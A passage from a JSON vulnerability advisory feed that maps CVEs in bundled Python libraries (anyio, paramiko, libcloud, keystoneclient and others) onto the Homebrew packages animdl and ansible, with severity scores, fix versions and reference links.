consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-63374","published":"2026-09-20T10:44:29Z","modified":"2026-10-02T09:08:23Z","upstream":["GHSA-82r6-8w77-94w6","CVE-2026-63374","PYSEC-2026-4025"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.14.2","resource":"anyio","resource_purl":"pkg:pypi/anyio@4.13.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"anyio","subject_version":"4.13.0","key":"pkg:pypi/anyio@4.13.0","resource":"anyio"}]},"summary":"AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing","details":"### Impact\nServices using internationalized (non-ASCII) domain names are potentially vulnerable to TLS connections made from AnyIO's `connect_tcp()` or directly via `TLSStream.wrap()` where the connection has (through other means) been hijacked and redirected to a malicious server. The attacker would obtain a legitimate certificate using the IDNA 2003 encoded version of the domain name and offer it to the connecting client, making the certificate validate properly on the client's end.\n\n### Patches\nThe vulnerability will be patched in v4.14.2.\n\n### Workarounds\nEncode host names via the `idna` package prior to connecting.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/agronholm/anyio/security/advisories/GHSA-82r6-8w77-94w6"},{"type":"WEB","url":"https://github.com/agronholm/anyio/pull/1208"},{"type":"WEB","url":"https://github.com/agronholm/anyio/commit/68f58915f82d9be8109ebbbd8f5d70577d43f2ce"},{"type":"PACKAGE","url":"https://github.com/agronholm/anyio"},{"type":"WEB","url":"https://github.com/agronholm/anyio/releases/tag/4.14.2"}]},{"schema_version":"1.7.3","id":"BREW-animdl-CVE-2026-64847","published":"2026-09-20T10:44:29Z","modified":"2026-10-02T09:08:23Z","upstream":["GHSA-5p39-cfhj-2xmp","CVE-2026-64847","PYSEC-2026-4024"],"affected":[{"package":{"ecosystem":"Homebrew","name":"animdl","purl":"pkg:brew/animdl"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.14.2","resource":"anyio","resource_purl":"pkg:pypi/anyio@4.13.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"anyio","subject_version":"4.13.0","key":"pkg:pypi/anyio@4.13.0","resource":"anyio"}]},"summary":"AnyIO process-pool workers can block indefinitely on undrained stderr","details":"### Impact\nAnyIO starts process-pool workers with stderr connected to a pipe but never drains that pipe. The worker redirects stdin and stdout to /dev/null to protect its protocol, but does not redirect stderr even though the documentation says all three standard streams are redirected. Worker code that writes enough attacker-influenced data to stderr can fill the pipe, block before returning the stdout protocol response, and wedge the awaiting process-pool call.\n\nAnyone who runs untrusted or faulty code that writes too much to `stderr` is at risk.\n\n### Patches\nThis vulnerability will be patched in v4.14.2.\n\n### Workarounds\nClosing `sys.stderr` in the target function should at least prevent the deadlock.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/agronholm/anyio/security/advisories/GHSA-5p39-cfhj-2xmp"},{"type":"WEB","url":"https://github.com/agronholm/anyio/pull/1207"},{"type":"WEB","url":"https://github.com/agronholm/anyio/commit/f1b7301c8264b0d2e8d24a5788fd29e93dea4040"},{"type":"PACKAGE","url":"https://github.com/agronholm/anyio"},{"type":"WEB","url":"https://github.com/agronholm/anyio/releases/tag/4.14.2"}]}],"ansible":[{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2008-0299","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-wqmm-q65g-2hqr","CVE-2008-0299","PYSEC-2008-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.7.1-3","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.1.0","key":"pkg:pypi/paramiko@5.1.0","resource":"paramiko"}]},"summary":"Paramiko Unsafe randomness usage may allow access to sensitive information","details":"common.py in Paramiko 1.7.1 and earlier, when using threads or forked processes, does not properly use RandomPool, which allows one session to obtain sensitive information from another session by predicting the state of the pool.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2008-0299"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=428727"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/39749"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2008-8.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20080205095439/http://secunia.com/advisories/28488"},{"type":"WEB","url":"https://web.archive.org/web/20080627172450/http://secunia.com/advisories/28510"},{"type":"WEB","url":"https://web.archive.org/web/20080628232710/http://secunia.com/advisories/29168"},{"type":"WEB","url":"https://web.archive.org/web/20080720033315/http://www.lag.net/pipermail/paramiko/2008-January/000599.html"},{"type":"WEB","url":"https://web.archive.org/web/20081012023428/http://www.securityfocus.com/bid/27307"},{"type":"WEB","url":"https://www.redhat.com/archives/fedora-package-announce/2008-January/msg00529.html"},{"type":"WEB","url":"https://www.redhat.com/archives/fedora-package-announce/2008-January/msg00594.html"},{"type":"WEB","url":"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=460706"},{"type":"WEB","url":"http://people.debian.org/~nion/nmu-diff/paramiko-1.6.4-1_1.6.4-1.1.patch"},{"type":"WEB","url":"http://security.gentoo.org/glsa/glsa-200803-07.xml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2010-4340","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-w3j6-8j34-q43x","CVE-2010-4340","PYSEC-2011-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.4.0","resource":"apache-libcloud","resource_purl":"pkg:pypi/apache-libcloud@3.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"apache-libcloud","subject_version":"3.9.1","key":"pkg:pypi/apache-libcloud@3.9.1","resource":"apache-libcloud"}]},"summary":"Apache Libcloud does not verify SSL certificates for HTTPS connections","details":"libcloud before 0.4.0 does not verify SSL certificates for HTTPS connections, which allows remote attackers to spoof certificates and bypass intended access restrictions via a man-in-the-middle (MITM) attack. This is due to an upstream issue with python's SSL module rather than directly with libcloud.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2010-4340"},{"type":"WEB","url":"https://github.com/apache/libcloud/commit/87ee61e6ba03a43dcefea2ce180988bec066b6fd"},{"type":"WEB","url":"https://bugs.python.org/issue1589"},{"type":"PACKAGE","url":"https://github.com/apache/libcloud"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-libcloud/PYSEC-2011-24.yaml"},{"type":"WEB","url":"https://issues.apache.org/jira/browse/LIBCLOUD-55"},{"type":"WEB","url":"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=598463"},{"type":"WEB","url":"http://mail-archives.apache.org/mod_mbox/incubator-libcloud/201009.mbox/%3C5860913.463891285776633273.JavaMail.jira@thor%3E"},{"type":"WEB","url":"http://mail-archives.apache.org/mod_mbox/incubator-libcloud/201011.mbox/browser"},{"type":"WEB","url":"http://wiki.apache.org/incubator/LibcloudSSL"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2012-3446","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-prcq-52f8-fp44","CVE-2012-3446","PYSEC-2012-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.11.1","resource":"apache-libcloud","resource_purl":"pkg:pypi/apache-libcloud@3.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"apache-libcloud","subject_version":"3.9.1","key":"pkg:pypi/apache-libcloud@3.9.1","resource":"apache-libcloud"}]},"summary":"Apache Libcloud vulnerable to certificate impersonation","details":"Apache Libcloud before 0.11.1 uses an incorrect regular expression during verification of whether the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a crafted certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2012-3446"},{"type":"WEB","url":"https://github.com/apache/libcloud/commit/f2af5502dae3ac63e656dd1b7d5f29cc82ded401"},{"type":"PACKAGE","url":"https://github.com/apache/libcloud"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-libcloud/PYSEC-2012-12.yaml"},{"type":"WEB","url":"https://svn.apache.org/repos/asf/libcloud/trunk/CHANGES"},{"type":"WEB","url":"http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-1633","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-27x4-j476-jp5f","CVE-2013-1633","PYSEC-2013-22"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.7","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.2.1","key":"pkg:pypi/setuptools@84.2.1","resource":"setuptools"}]},"summary":"Setuptools vulnerable to Man-in-the-middle attacks","details":"easy_install in setuptools before 0.7 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to the default use of the product.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-1633"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2013-22.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://pypi.python.org/pypi/setuptools/0.9.8#changes"},{"type":"WEB","url":"http://www.reddit.com/r/Python/comments/17rfh7/warning_dont_use_pip_in_an_untrusted_network_a"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2013","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-8q2m-pwxf-jc7g","CVE-2013-2013","PYSEC-2013-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.2.4","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"python-keystoneclient unsecure user password update","details":"The user-password-update command in python-keystoneclient before 0.2.4 accepts the new password in the --password argument, which allows local users to obtain sensitive information by listing the process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2013"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/f2e0818bc97bfbeba83f6abbb07909a8debcad77"},{"type":"WEB","url":"https://bugs.launchpad.net/python-keystoneclient/+bug/938315"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2013-24.yaml"},{"type":"WEB","url":"https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16937"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/05/23/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2030","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-pxxv-rv32-2qgv","CVE-2013-2030","PYSEC-2026-911"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.2.4","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"OpenStack Nova uses insecure keystone middleware tmpdir by default","details":"keystone/middleware/auth_token.py in OpenStack Nova Folsom, Grizzly, and Havana uses an insecure temporary directory for storing signing certificates, which allows local users to spoof servers by pre-creating this directory, which is reused by Nova, as demonstrated using /tmp/keystone-signing-nova on Fedora.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2030"},{"type":"WEB","url":"https://github.com/openstack/nova/commit/58d6879b1caaa750c39c8e452a0634c24ffef2ce"},{"type":"WEB","url":"https://github.com/openstack/nova/commit/74aa04e2ca7942cb1e1a86dcbaffeb72d260ccd7"},{"type":"WEB","url":"https://github.com/openstack/nova/commit/7bf3e8d3e254d817ff5ae7ef1f2884b10410ca60"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/1736e2ffb12f70eeebed019448bc14def48aa036"},{"type":"WEB","url":"https://bugs.launchpad.net/nova/+bug/1174608"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=958285"},{"type":"PACKAGE","url":"https://github.com/openstack/nova"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nova/PYSEC-2013-45.yaml"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2013-May/105916.html"},{"type":"WEB","url":"http://lists.openstack.org/pipermail/openstack-announce/2013-May/000098.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/05/09/2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2104","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-4rrr-j7ff-r844","CVE-2013-2104","PYSEC-2014-69"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.2.4","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"python-keystoneclient missing expiration check in PKI token validation ","details":"python-keystoneclient before 0.2.4, as used in OpenStack Keystone (Folsom), does not properly check expiry for PKI tokens, which allows remote authenticated users to (1) retain use of a token after it has expired, or (2) use a revoked token once it expires.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2104"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2013:0944"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2013-2104"},{"type":"WEB","url":"https://bugs.launchpad.net/python-keystoneclient/+bug/1179615"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=965852"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2014-69.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2013-06/msg00198.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2013-0944.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/05/28/7"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-1851-1"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-1875-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2166","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-c3xq-cj8f-7829","CVE-2013-2166","PYSEC-2019-197"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.3.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"Inadequate Encryption Strength in python-keystoneclient","details":"python-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache encryption bypass.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2166"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/eeefb784f24c37d5f56a421e1ccc911cace9385e"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2013-2166"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2166"},{"type":"WEB","url":"https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-2166"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-c3xq-cj8f-7829"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2019-197.yaml"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2013-2166"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2013-August/113944.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2013-0992.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/06/19/5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2167","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-9vg3-cf92-h2h7","CVE-2013-2167","PYSEC-2019-161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.3.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"Insufficient Verification of Data Authenticity in python-keystoneclient","details":"python-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache signing bypass","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2167"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/eeefb784f24c37d5f56a421e1ccc911cace9385e"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2013-2167"},{"type":"WEB","url":"https://bugs.gentoo.org/show_bug.cgi?id=CVE-2013-2167"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2167"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/85492"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9vg3-cf92-h2h7"},{"type":"PACKAGE","url":"https://github.com/openstack/python-keystoneclient"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commits/0.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-keystoneclient/PYSEC-2019-161.yaml"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2013-2167"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2013-August/113944.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2013-0992.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/06/19/5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2233","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-9x6q-5423-w5v9","CVE-2013-2233","PYSEC-2018-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to cache SSH host keys","details":"Ansible before 1.2.1 makes it easier for remote attackers to conduct man-in-the-middle attacks by leveraging failure to cache SSH host keys.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2233"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/857"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=980821"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9x6q-5423-w5v9"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-36.yaml"},{"type":"WEB","url":"https://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/01/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2013/07/02/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2013-2255","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-qh2x-hpf9-cf2g","CVE-2013-2255","PYSEC-2026-2413","PYSEC-2026-2677","PYSEC-2026-3034","PYSEC-2026-656"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.4.0","resource":"python-keystoneclient","resource_purl":"pkg:pypi/python-keystoneclient@6.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-keystoneclient","subject_version":"6.0.0","key":"pkg:pypi/python-keystoneclient@6.0.0","resource":"python-keystoneclient"}]},"summary":"OpenStack Keystone and other components vulnerable to Improper Certificate Validation","details":"HTTPSConnections in OpenStack Keystone 2013, OpenStack Compute 2013.1, and possibly other OpenStack components, fail to validate server-side SSL certificates.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-2255"},{"type":"WEB","url":"https://github.com/openstack/cinder/commit/0f9652d92e175a1f7dc3c2a37ab444b8f189375a"},{"type":"WEB","url":"https://github.com/openstack/keystone/commit/5bd4c2984d329625a2a8442b316fa235dbb88a3d"},{"type":"WEB","url":"https://github.com/openstack/neutron/commit/7255e056092f034daaeb4246a812900645d46911"},{"type":"WEB","url":"https://github.com/openstack/python-keystoneclient/commit/20e166fd8a943ee3f91ba362a47e9c14c7cc5f4c"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2013-2255"},{"type":"WEB","url":"https://bugs.launchpad.net/ossn/+bug/1188189"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2255"},{"type":"WEB","url":"https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-2255"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/85562"},{"type":"